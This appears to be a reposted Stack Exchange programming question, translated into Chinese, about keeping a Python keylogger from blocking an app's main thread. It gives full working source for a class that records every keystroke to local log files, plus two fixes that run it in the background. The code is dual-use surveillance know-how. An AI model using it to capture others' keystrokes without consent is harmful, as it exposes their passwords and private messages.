You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何让Python键盘记录器在后台运行且不阻塞主线程

解决Python keyboard库键盘记录器阻塞主线程的问题

问题描述

我用Python的keyboard库开发键盘记录器,start函数实现如下:

def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait
    keyboard.wait("esc")
    self.report()

点击应用按钮创建KeyLogger对象并调用start后,应用会冻结,原因是keyboard.wait会阻塞主线程。需要让键盘记录器在后台运行,不阻塞应用正常使用,同时按esc键仍能停止记录并生成报告。

完整的KeyLogger类代码如下:

import keyboard
import os
from datetime import datetime

class KeyLogger:
def __init__(self) -> None:
    self.log = ""
    self.startTime = datetime.now()
    
def callback(self, event) -> None:
    name = event.name
    # not a character, special key (e.g ctrl, alt, etc.)
    # uppercase with []
    if name == "space":
        # " " instead of "space"
        name = " "
    elif name == "enter":
        # add a new line whenever an ENTER is pressed
        name = "[ENTER]\n"
    elif name == "decimal":
        name = "."
    elif len(name) > 1:
        # replace spaces with underscores
        name = name.replace(" ", "_")
        name = f"[{name.upper()}]"
        
    self.log += name
    
def update_filename(self):
    # construct the filename to be identified by start & end datetimes
    start_dt_str = str(self.startTime)[:-7].replace(" ", "-").replace(":", "")
    self.filename = f"keylog-{start_dt_str}"
    
def report_to_file(self):
    """This method creates a log file in the current directory that contains
    the current keylogs in the `self.log` variable"""
    # open the file in write mode (create it)
    if os.path.exists("logs/") == False:
        os.mkdir("logs/")
    with open(f"logs/{self.filename}.txt", "w") as f:
        # write the keylogs to the file
        print(self.log, file=f)
    print(f"[+] Saved {self.filename}.txt")
    
def report(self):
    if self.log:
         self.update_filename()
         self.report_to_file()
         self.startTime = datetime.now()
         self.log = ""
         
def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait
    keyboard.wait("esc")
    self.report()
    
def stop(self):
    keyboard.press("esc")

解决方案

方案一:使用threading模块将阻塞逻辑放入子线程

修改start函数,把keyboard.wait和后续的self.report()放到子线程中执行,主线程不会被阻塞,应用可正常操作。

修改后的start函数:

import threading  # 需导入threading模块

def start(self):
    self.start_dt = datetime.now()
    keyboard.on_release(callback=self.callback)
    print(f"{datetime.now()} - Started keylogger")
    
    # 定义子线程执行的逻辑
    def wait_for_esc():
        keyboard.wait("esc")
        self.report()
    
    # 创建并启动守护线程,主程序退出时自动终止
    threading.Thread(target=wait_for_esc, daemon=True).start()

方案二:使用keyboard.add_hotkey替代keyboard.wait

利用keyboard.add_hotkey绑定esc键的触发事件,无需阻塞线程,直接在回调中处理停止和报告逻辑。

修改后的start函数:

def start(self):
    self.start_dt = datetime.now()
    keyboard.on_release(callback=self.callback)
    print(f"{datetime.now()} - Started keylogger")
    
    # 绑定esc键的热键回调
    def on_esc_press():
        self.report()
        keyboard.unhook_all()  # 解除所有监听,避免资源泄漏
    
    keyboard.add_hotkey("esc", on_esc_press)

修改后的完整KeyLogger类(以方案一为例)

import keyboard
import os
import threading
from datetime import datetime

class KeyLogger:
    def __init__(self) -> None:
        self.log = ""
        self.startTime = datetime.now()
        
    def callback(self, event) -> None:
        name = event.name
        if name == "space":
            name = " "
        elif name == "enter":
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
        elif len(name) > 1:
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"
            
        self.log += name
        
    def update_filename(self):
        start_dt_str = str(self.startTime)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}"
        
    def report_to_file(self):
        if not os.path.exists("logs/"):
            os.mkdir("logs/")
        with open(f"logs/{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")
        
    def report(self):
        if self.log:
             self.update_filename()
             self.report_to_file()
             self.startTime = datetime.now()
             self.log = ""
             
    def start(self):
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        print(f"{datetime.now()} - Started keylogger")
        
        def wait_for_esc():
            keyboard.wait("esc")
            self.report()
        
        threading.Thread(target=wait_for_esc, daemon=True).start()
        
    def stop(self):
        keyboard.press("esc")

内容的提问来源于stack exchange,提问作者Larry Jing

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.16 15:40:41